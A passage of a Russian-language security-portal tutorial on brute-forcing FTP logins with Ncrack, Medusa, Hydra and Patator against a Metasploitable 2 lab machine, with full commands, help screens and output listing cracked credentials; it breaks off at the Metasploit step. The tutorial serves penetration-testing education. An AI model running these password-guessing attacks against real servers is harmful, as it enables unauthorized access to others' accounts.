• Вт. Июн 22nd, 2021

Главный портал о новостях в сфере информационной безопасности

Популярные метки

5 утилит для брутфорса учетных записей FTP сервера

Автор:Andrey Kopelyan

Май 11, 2021 , , , , ,

В этой статье мы рассмотрели методы брутфорса учетных записей FTP серверов при помощи утилит Ncrack, Medusa, Hydra, Patator и Metasploit

Зачастую хакеры находят полезную информацию в самых обычных местах, как, например, на FTP серверах. Иногда получается еще более удачный расклад, когда доступен анонимный вход (то есть залогиниться может любой желающий), но в большинстве случаев требуется рабочая учетная запись. Существует несколько методов прямого перебора этих аккаунтов с целью последующего получения доступа к FTP серверу.

Введение

Протокол FTP (File Transfer Protocol) представляет собой сетевой протокол, используемый для передачи файлов по модели клиент-сервер, когда пользователь подключается к серверу при помощи клиента. Аутентификация осуществляется при помощи имени пользователя и пароля, обычно передаваемых в виде обычного текста. Однако могут быть доступны логины и для анонимного входа.

Обычно FTP сервер использует порт 21, но может быть сконфигурирован на нестандартный порт. Подобные сервера часто используется веб-разработчиками и могут быть обнаружены в крупных организациях, где передача файлов является неотъемлемой частью.

Первоначальная установка

Прежде, чем мы начнем, запустим простейшее сканирование целевого сервера при помощи Nmap, чтобы убедиться в наличие службы FTP. В качестве цели будет использоваться тестовая среда Metasploitable 2, а в качестве рабочей машины — Kali Linux.

~# nmap -sV 10.10.0.50 -p 21

Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-10 11:10 CDT
Nmap scan report for 10.10.0.50
Host is up (0.00067s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
MAC Address: 00:1D:09:55:B1:3B (Dell)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.82 seconds

Прекрасно. Служба FTP работает и доступна для подключения

Далее создаем два текстовых файлов. В первом будет список имен пользователей, во втором – пароли. В реальной ситуации этот перечень был бы намного больше, но в демонстрационном примере с целью ускорить процесс будет использоваться небольшой список.

Создайте текстовый файл в вашем любимом редакторе и добавьте несколько наиболее распространенных имен пользователей.

root
admin
user
ftp
steve

И паролей.

Метод 1: Ncrack

Ncrack — первая утилита, которую мы будем использовать. В терминале введите команду ncrack без параметров для получения справочной информации и доступные опции.

~# ncrack

Ncrack 0.7 ( http://ncrack.org )
Usage: ncrack [Options] {target and service specification}
TARGET SPECIFICATION:
  Can pass hostnames, IP addresses, networks, etc.
  Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
  -iX : Input from Nmap's -oX XML output format
  -iN : Input from Nmap's -oN Normal output format
  -iL : Input from list of hosts/networks
  --exclude : Exclude hosts/networks
  --excludefile : Exclude list from file
SERVICE SPECIFICATION:
  Can pass target specific services in ://target (standard) notation or
  using -p which will be applied to all hosts in non-standard notation.
  Service arguments can be specified to be host-specific, type of service-specific
  (-m) or global (-g). Ex: ssh://10.0.0.10,at=10,cl=30 -m ssh:at=50 -g cd=3000
  Ex2: ncrack -p ssh,ftp:3500,25 10.0.0.10 scanme.nmap.org google.com:80,ssl
  -p : services will be applied to all non-standard notation hosts
  -m :: options will be applied to all services of this type
  -g : options will be applied to every service globally
  Misc options:
    ssl: enable SSL over this service
    path : used in modules like HTTP ('=' needs escaping if used)
    db : used in modules like MongoDB to specify the database
    domain : used in modules like WinRM to specify the domain
TIMING AND PERFORMANCE:
  Options which take  are in seconds, unless you append 'ms'
  (milliseconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).
  Service-specific options:
    cl (min connection limit): minimum number of concurrent parallel connections
    CL (max connection limit): maximum number of concurrent parallel connections
    at (authentication tries): authentication attempts per connection
    cd (connection delay): delay  between each connection initiation
    cr (connection retries): caps number of service connection attempts
    to (time-out): maximum cracking  for service, regardless of success so far
  -T<0-5>: Set timing template (higher is faster)
  --connection-limit : threshold for total concurrent connections
  --stealthy-linear: try credentials using only one connection against each specified host
    until you hit the same host again. Overrides all other timing options.
AUTHENTICATION:
  -U : username file
  -P : password file
  --user : comma-separated username list
  --pass : comma-separated password list
  --passwords-first: Iterate password list for each username. Default is opposite.
  --pairwise: Choose usernames and passwords in pairs.
OUTPUT:
  -oN/-oX : Output scan in normal and XML format, respectively, to the given filename.
  -oA : Output in the two major formats at once
  -v: Increase verbosity level (use twice or more for greater effect)
  -d[level]: Set or increase debugging level (Up to 10 is meaningful)
  --nsock-trace : Set nsock trace level (Valid range: 0 - 10)
  --log-errors: Log errors/warnings to the normal-format output file
  --append-output: Append to rather than clobber specified output files
MISC:
  --resume : Continue previously saved session
  --save : Save restoration file with specific filename
  -f: quit cracking service after one found credential
  -6: Enable IPv6 cracking
  -sL or --list: only list hosts and services
  --datadir : Specify custom Ncrack data file location
  --proxy : Make connections via socks4, 4a, http.
  -V: Print version number
  -h: Print this help summary page.
MODULES:
  SSH, RDP, FTP, Telnet, HTTP(S), WordPress, POP3(S), IMAP, CVS, SMB, VNC, SIP, Redis, PostgreSQL, MQTT, MySQL, MSSQL, MongoDB, Cassandra, WinRM, OWA, DICOM
EXAMPLES:
  ncrack -v --user root localhost:22
  ncrack -v -T5 https://192.168.0.1
  ncrack -v -iX ~/nmap.xml -g CL=5,to=1h
SEE THE MAN PAGE (http://nmap.org/ncrack/man.html) FOR MORE OPTIONS AND EXAMPLES

Как видно из листинга выше, доступно множество опций, но мы затронем лишь самые основы.

Мы будем использовать флаг U с целью указания файла с именами пользователей и флаг P для файла с паролями. Затем укажите целевой IP адрес с префиксом ftp://.

~# ncrack -U usernames.txt -P passwords.txt ftp://10.10.0.50

Starting Ncrack 0.7 ( http://ncrack.org ) at 2020-03-10 11:24 CDT

Discovered credentials for ftp on 10.10.0.50 21/tcp:
10.10.0.50 21/tcp ftp: 'ftp' 'password'
10.10.0.50 21/tcp ftp: 'ftp' 's3cr3t'
10.10.0.50 21/tcp ftp: 'ftp' 'user'
10.10.0.50 21/tcp ftp: 'ftp' 'Password1'
10.10.0.50 21/tcp ftp: 'user' 'user'
10.10.0.50 21/tcp ftp: 'ftp' 'hunter2'

Ncrack done: 1 service scanned in 15.01 seconds.

Ncrack finished.

В результате удалось обнаружить рабочие учетные записи user и ftp. Повторяющееся имя user говорит о доступности анонимного входа для этого пользователя, когда подойдет любой пароль.

Мы также можем указать номер порта в явном виде, что полезно, если служба работает на нестандартном порту. Флаг –v позволяет вывести более подробную информацию во время сканирования.

~# ncrack -U usernames.txt -P passwords.txt 10.10.0.50:21 -v

Starting Ncrack 0.7 ( http://ncrack.org ) at 2020-03-10 11:26 CDT

Discovered credentials on ftp://10.10.0.50:21 'ftp' 'password'
Discovered credentials on ftp://10.10.0.50:21 'ftp' 's3cr3t'
Discovered credentials on ftp://10.10.0.50:21 'ftp' 'user'
Discovered credentials on ftp://10.10.0.50:21 'user' 'user'
Discovered credentials on ftp://10.10.0.50:21 'ftp' 'Password1'
ftp://10.10.0.50:21 finished.

Discovered credentials for ftp on 10.10.0.50 21/tcp:
10.10.0.50 21/tcp ftp: 'ftp' 'password'
10.10.0.50 21/tcp ftp: 'ftp' 's3cr3t'
10.10.0.50 21/tcp ftp: 'ftp' 'user'
10.10.0.50 21/tcp ftp: 'user' 'user'
10.10.0.50 21/tcp ftp: 'ftp' 'Password1'

Ncrack done: 1 service scanned in 15.00 seconds.
Probes sent: 17 | timed-out: 0 | prematurely-closed: 0

Ncrack finished.

Метод 2: Medusa

Для просмотра доступных опций введите в терминале команду medusa:

~# medusa

Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks 

ALERT: Host information must be supplied.

Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
  -h [TEXT]    : Target hostname or IP address
  -H [FILE]    : File containing target hostnames or IP addresses
  -u [TEXT]    : Username to test
  -U [FILE]    : File containing usernames to test
  -p [TEXT]    : Password to test
  -P [FILE]    : File containing passwords to test
  -C [FILE]    : File containing combo entries. See README for more information.
  -O [FILE]    : File to append log information to
  -e [n/s/ns]  : Additional password checks ([n] No Password, [s] Password = Username)
  -M [TEXT]    : Name of the module to execute (without the .mod extension)
  -m [TEXT]    : Parameter to pass to the module. This can be passed multiple times with a
                 different parameter each time and they will all be sent to the module (i.e.
                 -m Param1 -m Param2, etc.)
  -d           : Dump all known modules
  -n [NUM]     : Use for non-default TCP port number
  -s           : Enable SSL
  -g [NUM]     : Give up after trying to connect for NUM seconds (default 3)
  -r [NUM]     : Sleep NUM seconds between retry attempts (default 3)
  -R [NUM]     : Attempt NUM retries before giving up. The total number of attempts will be NUM + 1.
  -c [NUM]     : Time to wait in usec to verify socket is available (default 500 usec).
  -t [NUM]     : Total number of logins to be tested concurrently
  -T [NUM]     : Total number of hosts to be tested concurrently
  -L           : Parallelize logins using one username per thread. The default is to process
                 the entire username before proceeding.
  -f           : Stop scanning host after first valid username/password found.
  -F           : Stop audit after first valid username/password found on any host.
  -b           : Suppress startup banner
  -q           : Display module's usage information
  -v [NUM]     : Verbose level [0 - 6 (more)]
  -w [NUM]     : Error debug level [0 - 10 (more)]
  -V           : Display version
  -Z [TEXT]    : Resume scan based on map of previous scan

Перед запуском перебора нужно выяснить, какие модули доступны, при помощи флага –d.

~# medusa -d

Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks 

  Available modules in "." :

  Available modules in "/usr/lib/x86_64-linux-gnu/medusa/modules" :
    + cvs.mod : Brute force module for CVS sessions : version 2.0
    + ftp.mod : Brute force module for FTP/FTPS sessions : version 2.1
    + http.mod : Brute force module for HTTP : version 2.1
    + imap.mod : Brute force module for IMAP sessions : version 2.0
    + mssql.mod : Brute force module for M$-SQL sessions : version 2.0
    + mysql.mod : Brute force module for MySQL sessions : version 2.0
    + nntp.mod : Brute force module for NNTP sessions : version 2.0
    + pcanywhere.mod : Brute force module for PcAnywhere sessions : version 2.0
    + pop3.mod : Brute force module for POP3 sessions : version 2.0
    + postgres.mod : Brute force module for PostgreSQL sessions : version 2.0
    + rexec.mod : Brute force module for REXEC sessions : version 2.0
    + rlogin.mod : Brute force module for RLOGIN sessions : version 2.0
    + rsh.mod : Brute force module for RSH sessions : version 2.0
    + smbnt.mod : Brute force module for SMB (LM/NTLM/LMv2/NTLMv2) sessions : version 2.1
    + smtp-vrfy.mod : Brute force module for verifying SMTP accounts (VRFY/EXPN/RCPT TO) : version 2.1
    + smtp.mod : Brute force module for SMTP Authentication with TLS : version 2.0
    + snmp.mod : Brute force module for SNMP Community Strings : version 2.1
    + ssh.mod : Brute force module for SSH v2 sessions : version 2.1
    + svn.mod : Brute force module for Subversion sessions : version 2.1
    + telnet.mod : Brute force module for telnet sessions : version 2.0
    + vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 2.0
    + vnc.mod : Brute force module for VNC sessions : version 2.1
    + web-form.mod : Brute force module for web forms : version 2.1
    + wrapper.mod : Generic Wrapper Module : version 2.0

Для запуска брутфорса используются следующие опции:

  • Флаг –h позволяет указать хост.
  • Флаг –U позволяет указать перечень имен пользователей.
  • Флаг –P позволяет указать перечень паролей.
  • Флаг –M позволяет указать используемый модуль.

После запуска команды с вышеуказанными опциями получаем следующие результаты:

~# medusa -h 10.10.0.50 -U usernames.txt -P passwords.txt -M ftp

Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks 

ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Password: password (1 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Password: s3cr3t (2 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Password: user (3 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Password: Password1 (4 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: root (1 of 5, 0 complete) Password: hunter2 (5 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: admin (2 of 5, 1 complete) Password: password (1 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: admin (2 of 5, 1 complete) Password: s3cr3t (2 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: admin (2 of 5, 1 complete) Password: user (3 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: admin (2 of 5, 1 complete) Password: Password1 (4 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: admin (2 of 5, 1 complete) Password: hunter2 (5 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: user (3 of 5, 2 complete) Password: password (1 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: user (3 of 5, 2 complete) Password: s3cr3t (2 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: user (3 of 5, 2 complete) Password: user (3 of 5 complete)
ACCOUNT FOUND: [ftp] Host: 10.10.0.50 User: user Password: user [SUCCESS]
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: ftp (4 of 5, 3 complete) Password: password (1 of 5 complete)
ACCOUNT FOUND: [ftp] Host: 10.10.0.50 User: ftp Password: password [SUCCESS]
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: steve (5 of 5, 4 complete) Password: password (1 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: steve (5 of 5, 4 complete) Password: s3cr3t (2 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: steve (5 of 5, 4 complete) Password: user (3 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: steve (5 of 5, 4 complete) Password: Password1 (4 of 5 complete)
ACCOUNT CHECK: [ftp] Host: 10.10.0.50 (1 of 1, 0 complete) User: steve (5 of 5, 4 complete) Password: hunter2 (5 of 5 complete)

В результате обнаружено две рабочие учетные записи.

Метод 3: Hydra

Как и в двух предыдущих слуаях, вначале запускаем команду hydra для ознакомления с синтаксисом и доступными опциями:

~# hydra

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]

Options:
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify port
  -t TASKS  run TASKS number of connects in parallel per target (default: 16)
  -U        service module usage details
  -h        more command line options (COMPLETE HELP)
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
v3.0. The newest version is always available at https://github.com/vanhauser-thc/thc-hydra
Don't use in military or secret service organizations, or for illegal purposes.

Example:  hydra -l user -P passlist.txt ftp://192.168.0.1

При помощи флага hможно получить чуть больше опций и примеры использования:

~# hydra -h

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]

Options:
  -R        restore a previous aborted/crashed session
  -I        ignore an existing restore file (don't wait 10 seconds)
  -S        perform an SSL connect
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
  -y        disable use of symbols in bruteforce, see above
  -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
  -u        loop around users, not passwords (effective! implied with -x)
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify portThis
  -o FILE   write found login/password pairs to FILE instead of stdout
  -b FORMAT specify the format for the -o FILE: text(default), json, jsonv1
  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
  -t TASKS  run TASKS number of connects in parallel per target (default: 16)
  -T TASKS  run TASKS connects in parallel overall (for -M, default: 64)
  -w / -W TIME  wait time for a response (32) / between connects per thread (0)
  -c TIME   wait time per login attempt over all threads (enforces -t 1)
  -4 / -6   use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode
  -O        use old SSL v2 and v3
  -q        do not print messages about connection errors
  -U        service module usage details
  -h        more command line options (COMPLETE HELP)
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
v3.0. The newest version is always available at https://github.com/vanhauser-thc/thc-hydra
Don't use in military or secret service organizations, or for illegal purposes.
These services were not compiled in: afp ncp oracle sapr3.

Use HYDRA_PROXY_HTTP or HYDRA_PROXY environment variables for a proxy setup.
E.g. % export HYDRA_PROXY=socks5://l:p@127.0.0.1:9150 (or: socks4:// connect://)
     % export HYDRA_PROXY=connect_and_socks_proxylist.txt  (up to 64 entries)
     % export HYDRA_PROXY_HTTP=http://login:pass@proxy:8080
     % export HYDRA_PROXY_HTTP=proxylist.txt  (up to 64 entries)

Examples:
  hydra -l user -P passlist.txt ftp://192.168.0.1
  hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
  hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
  hydra -l admin -p password ftp://[192.168.0.0/24]/
  hydra -L logins.txt -P pws.txt -M targets.txt ssh

Флаг –L позволяет указать перечень имен пользователей, флаг –P – перечень паролей. Как и в случае с Ncrack указываем префикс службы (ftp://) и целевой IP адрес.

~# hydra -L usernames.txt -P passwords.txt ftp://10.10.0.50

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-03-10 11:37:25
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task
[DATA] attacking ftp://10.10.0.50:21/
[21][ftp] host: 10.10.0.50   login: ftp   password: password
[21][ftp] host: 10.10.0.50   login: user   password: user
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-03-10 11:37:33

Если служба работает на нестандартном порту, используем флаг –s для указания порта:

~# hydra -L usernames.txt -P passwords.txt ftp://10.10.0.50 -s 21

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-03-10 11:38:41
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task
[DATA] attacking ftp://10.10.0.50:21/
[21][ftp] host: 10.10.0.50   login: user   password: user
[21][ftp] host: 10.10.0.50   login: ftp   password: password
[21][ftp] host: 10.10.0.50   login: ftp   password: s3cr3t
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-03-10 11:38:48

После завершения перебора выводятся рабочие логины и пароли.

Метод 4: Patator

Следующая используемая нами утилита – Patator. В терминале вводим команду patator для просмотра доступных модулей:

~# patator

Patator v0.7 (https://github.com/lanjelot/patator)
Usage: patator module --help

Available modules:
  + ftp_login     : Brute-force FTP
  + ssh_login     : Brute-force SSH
  + telnet_login  : Brute-force Telnet
  + smtp_login    : Brute-force SMTP
  + smtp_vrfy     : Enumerate valid users using SMTP VRFY
  + smtp_rcpt     : Enumerate valid users using SMTP RCPT TO
  + finger_lookup : Enumerate valid users using Finger
  + http_fuzz     : Brute-force HTTP
  + ajp_fuzz      : Brute-force AJP
  + pop_login     : Brute-force POP3
  + pop_passd     : Brute-force poppassd (http://netwinsite.com/poppassd/)
  + imap_login    : Brute-force IMAP4
  + ldap_login    : Brute-force LDAP
  + smb_login     : Brute-force SMB
  + smb_lookupsid : Brute-force SMB SID-lookup
  + rlogin_login  : Brute-force rlogin
  + vmauthd_login : Brute-force VMware Authentication Daemon
  + mssql_login   : Brute-force MSSQL
  + oracle_login  : Brute-force Oracle
  + mysql_login   : Brute-force MySQL
  + mysql_query   : Brute-force MySQL queries
  + rdp_login     : Brute-force RDP (NLA)
  + pgsql_login   : Brute-force PostgreSQL
  + vnc_login     : Brute-force VNC
  + dns_forward   : Forward DNS lookup
  + dns_reverse   : Reverse DNS lookup
  + snmp_login    : Brute-force SNMP v1/2/3
  + ike_enum      : Enumerate IKE transforms
  + unzip_pass    : Brute-force the password of encrypted ZIP files
  + keystore_pass : Brute-force the password of Java keystore files
  + sqlcipher_pass : Brute-force the password of SQLCipher-encrypted databases
  + umbraco_crack : Crack Umbraco HMAC-SHA1 password hashes
  + tcp_fuzz      : Fuzz TCP services
  + dummy_test    : Testing module

По результатам выведенного перечня понятно, что утилита умеет многое, но поскольку нас интересует только FTP, используем следующую команду для просмотра справочной информации о модуле ftp_login:

~# patator ftp_login --help

Patator v0.7 (https://github.com/lanjelot/patator)
Usage: ftp_login  [global-options ...]

Examples:
  ftp_login host=10.0.0.1 user=FILE0 password=FILE1 0=logins.txt 1=passwords.txt -x ignore:mesg='Login incorrect.' -x ignore,reset,retry:code=500

Module options:
  host          : target host
  port          : target port [21]
  user          : usernames to test
  password      : passwords to test
  tls           : use TLS [0|1]
  timeout       : seconds to wait for a response [10]
  persistent    : use persistent connections [1|0]

Global options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit

  Execution:
    -x arg              actions and conditions, see Syntax below
    --start=N           start from offset N in the wordlist product
    --stop=N            stop at offset N
    --resume=r1[,rN]*   resume previous run
    -e arg              encode everything between two tags, see Syntax below
    -C str              delimiter string in combo files (default is ':')
    -X str              delimiter string in conditions (default is ',')
    --allow-ignore-failures
                        failures cannot be ignored with -x (this is by design
                        to avoid false negatives) this option overrides this
                        behavior

  Optimization:
    --rate-limit=N      wait N seconds between each test (default is 0)
    --timeout=N         wait N seconds for a response before retrying payload
                        (default is 0)
    --max-retries=N     skip payload after N retries (default is 4) (-1 for
                        unlimited)
    -t N, --threads=N   number of threads (default is 10)

  Logging:
    -l DIR              save output and response data into DIR
    -L SFX              automatically save into DIR/yyyy-mm-dd/hh:mm:ss_SFX
                        (DIR defaults to '/tmp/patator')

  Debugging:
    -d, --debug         enable debug messages

Syntax:
 -x actions:conditions

    actions    := action[,action]*
    action     := "ignore" | "retry" | "free" | "quit" | "reset"
    conditions := condition=value[,condition=value]*
    condition  := "code" | "size" | "time" | "mesg" | "fgrep" | "egrep"

    ignore      : do not report
    retry       : try payload again
    free        : dismiss future similar payloads
    quit        : terminate execution now
    reset       : close current connection in order to reconnect next time

    code        : match status code
    size        : match size (N or N-M or N- or -N)
    time        : match time (N or N-M or N- or -N)
    mesg        : match message
    fgrep       : search for string in mesg
    egrep       : search for regex in mesg

For example, to ignore all redirects to the home page:
... -x ignore:code=302,fgrep='Location: /home.html'

 -e tag:encoding

    tag        := any unique string (eg. T@G or _@@_ or ...)
    encoding   := "hex" | "unhex" | "b64" | "md5" | "sha1" | "url"

    hex         : encode in hexadecimal
    unhex       : decode from hexadecimal
    b64         : encode in base64
    md5         : hash in md5
    sha1        : hash in sha1
    url         : url encode

For example, to encode every password in base64:
... host=10.0.0.1 user=admin password=_@@_FILE0_@@_ -e _@@_:b64

Please read the README inside for more examples and usage information.

В результате выводятся настройки модуля, глобальные опции и примеры использования. Patator чуть более сложен по сравнению с предыдущими утилитами, но в то же время намного более гибкий.

Нам нужно установить переменные для файлов с именами пользователей и паролями. Назначаем параметру userфайл FILE0, параметру password — FILE1. Затем каждому числу присваиваем соответствующие файлы. Также не забудьте указать хост.

~# patator ftp_login host=10.10.0.50 user=FILE0 password=FILE1 0=usernames.txt 1=passwords.txt

11:50:07 patator    INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2020-03-10 11:50 CDT
11:50:08 patator    INFO -
11:50:08 patator    INFO - code  size    time | candidate                          |   num | mesg
11:50:08 patator    INFO - -----------------------------------------------------------------------------
11:50:11 patator    INFO - 530   16     3.067 | admin:hunter2                      |    10 | Login incorrect.
11:50:11 patator    INFO - 230   17     0.015 | ftp:hunter2                        |    20 | Login successful.
11:50:11 patator    INFO - 530   16     3.418 | root:password                      |     1 | Login incorrect.
11:50:11 patator    INFO - 530   16     3.483 | root:s3cr3t                        |     2 | Login incorrect.
11:50:11 patator    INFO - 530   16     3.403 | root:user                          |     3 | Login incorrect.
11:50:11 patator    INFO - 530   16     3.485 | root:Password1                     |     4 | Login incorrect.
11:50:11 patator    INFO - 530   16     3.444 | root:hunter2                       |     5 | Login incorrect.
11:50:11 patator    INFO - 530   16     3.315 | admin:password                     |     6 | Login incorrect.
11:50:11 patator    INFO - 530   16     3.451 | admin:s3cr3t                       |     7 | Login incorrect.
11:50:11 patator    INFO - 530   16     3.449 | admin:user                         |     8 | Login incorrect.
11:50:11 patator    INFO - 530   16     3.396 | admin:Password1                    |     9 | Login incorrect.
11:50:11 patator    INFO - 230   17     0.119 | ftp:s3cr3t                         |    17 | Login successful.
11:50:11 patator    INFO - 230   17     0.085 | ftp:Password1                      |    19 | Login successful.
11:50:12 patator    INFO - 230   17     0.207 | user:user                          |    13 | Login successful.
11:50:12 patator    INFO - 230   17     0.150 | ftp:password                       |    16 | Login successful.
11:50:12 patator    INFO - 230   17     0.203 | ftp:user                           |    18 | Login successful.
11:50:14 patator    INFO - 530   16     2.927 | user:password                      |    11 | Login incorrect.
11:50:14 patator    INFO - 530   16     2.913 | user:s3cr3t                        |    12 | Login incorrect.
11:50:14 patator    INFO - 530   16     2.952 | user:Password1                     |    14 | Login incorrect.
11:50:14 patator    INFO - 530   16     2.928 | user:hunter2                       |    15 | Login incorrect.
11:50:14 patator    INFO - 530   16     2.776 | steve:user                         |    23 | Login incorrect.
11:50:18 patator    INFO - 530   16     3.461 | steve:password                     |    21 | Login incorrect.
11:50:18 patator    INFO - 530   16     3.440 | steve:s3cr3t                       |    22 | Login incorrect.
11:50:18 patator    INFO - 530   16     3.442 | steve:Password1                    |    24 | Login incorrect.
11:50:18 patator    INFO - 530   16     3.444 | steve:hunter2                      |    25 | Login incorrect.
11:50:18 patator    INFO - Hits/Done/Skip/Fail/Size: 25/25/0/0/25, Avg: 2 r/s, Time: 0h 0m 10s

В результате обнаружено несколько рабочих учетных записей.

Кроме того, мы можем указать флаг x, чтобы не выводить сообщения о некорректных учетных записях:

~# patator ftp_login host=10.10.0.50 user=FILE0 password=FILE1 0=usernames.txt 1=passwords.txt -x ignore:mesg='Login incorrect.'

11:52:27 patator    INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2020-03-10 11:52 CDT
11:52:27 patator    INFO -
11:52:27 patator    INFO - code  size    time | candidate                          |   num | mesg
11:52:27 patator    INFO - -----------------------------------------------------------------------------
11:52:31 patator    INFO - 230   17     0.088 | ftp:password                       |    16 | Login successful.
11:52:31 patator    INFO - 230   17     0.089 | ftp:s3cr3t                         |    17 | Login successful.
11:52:31 patator    INFO - 230   17     0.035 | ftp:hunter2                        |    20 | Login successful.
11:52:31 patator    INFO - 230   17     0.127 | user:user                          |    13 | Login successful.
11:52:31 patator    INFO - 230   17     0.129 | ftp:user                           |    18 | Login successful.
11:52:31 patator    INFO - 230   17     0.116 | ftp:Password1                      |    19 | Login successful.
11:52:38 patator    INFO - Hits/Done/Skip/Fail/Size: 6/25/0/0/25, Avg: 2 r/s, Time: 0h 0m 11s

В итоге выходные данные выводятся в более читабельном виде.

Метод 5: Metasploit

Metasploit – последняя утилита в нашем списке. Вначале в терминале вводим команду msfconsole, а затем ищем нужным нам модуль:

